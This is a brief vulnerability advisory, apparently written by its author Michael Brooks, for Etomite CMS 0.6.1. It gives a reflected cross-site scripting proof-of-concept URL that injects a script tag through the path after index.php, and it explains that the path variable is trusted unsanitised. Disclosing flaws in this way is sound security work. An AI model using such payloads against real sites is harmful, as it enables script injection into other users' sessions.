Homepage: http://www.etomite.com/

Tested Version: 0.6.1 Final

Exploit:http://localhost/etomite0614/index.php/%22%3E%3Cscript%3Ealert(%
22test%22)%3C/script%3E/fill

This is a flaw because $_SERVER['PHP_INFO'] is being  trusted.

$_SERVER['PHP_INFO'] will contain this value when the exploit url is used:

/index.php/"><script>alert("test")</script>/fill

/fill is removed.

Trust no one.

Michael Brooks